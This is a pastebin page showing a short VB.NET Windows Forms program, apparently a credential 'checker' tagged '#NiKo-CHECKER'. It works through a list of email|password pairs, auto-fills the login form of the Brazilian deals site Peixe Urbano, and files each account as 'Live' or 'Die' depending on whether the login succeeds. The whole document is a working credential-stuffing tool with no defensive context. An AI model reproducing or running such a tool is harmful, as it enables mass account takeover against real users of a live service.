SHOW:
|
|
- or go back to the newest paste.
| 1 | Public Class Form1 | |
| 2 | ||
| 3 | Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click | |
| 4 | Timer1.Start() | |
| 5 | Contador.Start() | |
| 6 | End Sub | |
| 7 | ||
| 8 | Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick | |
| 9 | WebBrowser1.Navigate("https://www.peixeurbano.com.br/login")
| |
| 10 | Timer2.Start() | |
| 11 | Timer1.Stop() | |
| 12 | End Sub | |
| 13 | ||
| 14 | Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick | |
| 15 | Dim line() As String | |
| 16 | Dim ccs As String = List.Lines(0) | |
| 17 | line = Split(ccs, "|") | |
| 18 | Try | |
| 19 | WebBrowser1.Document.GetElementById("email").SetAttribute("value", line(0))
| |
| 20 | WebBrowser1.Document.GetElementById("password").SetAttribute("value", line(1))
| |
| 21 | WebBrowser1.Document.GetElementById("btn-login").InvokeMember("click")
| |
| 22 | Catch ex As Exception | |
| 23 | ||
| 24 | End Try | |
| 25 | Timer2.Stop() | |
| 26 | Timer3.Start() | |
| 27 | End Sub | |
| 28 | ||
| 29 | Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick | |
| 30 | Dim newlist As List(Of String) = List.Lines.ToList | |
| 31 | If WebBrowser1.Document.Body.InnerHtml.Contains("E-mail ou senha inválidos") = True Then
| |
| 32 | ||
| 33 | TextBox2.Text += List.Lines(0) + "✘ Die #NiKo-CHECKER" & vbCrLf | |
| 34 | WebBrowser1.Navigate("https://www.peixeurbano.com.br/login")
| |
| 35 | newlist.RemoveAt(0) | |
| 36 | List.Lines = newlist.ToArray | |
| 37 | Timer1.Start() | |
| 38 | Timer3.Stop() | |
| 39 | ||
| 40 | ElseIf WebBrowser1.Document.Body.InnerHtml.Contains("Carregar mais ofertas") = True Then
| |
| 41 | TextBox1.Text += List.Lines(0) + "✓ Live #NiKo-CHECKER" & vbCrLf | |
| 42 | WebBrowser1.Navigate("https://www.peixeurbano.com.br/login")
| |
| 43 | newlist.RemoveAt(0) | |
| 44 | List.Lines = newlist.ToArray | |
| 45 | Timer1.Start() | |
| 46 | Timer3.Stop() | |
| 47 | End If | |
| 48 | End Sub | |
| 49 | ||
| 50 | Private Sub Contador_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Contador.Tick | |
| 51 | If List.Text = String.Empty Then | |
| 52 | Timer1.Stop() | |
| 53 | Timer2.Stop() | |
| 54 | Timer3.Stop() | |
| 55 | Contador.Stop() | |
| 56 | MsgBox("Não há mais contas para testar", MsgBoxStyle.Information, "Atenção!")
| |
| 57 | End If | |
| 58 | End Sub | |
| 59 | ||
| 60 | End Class |
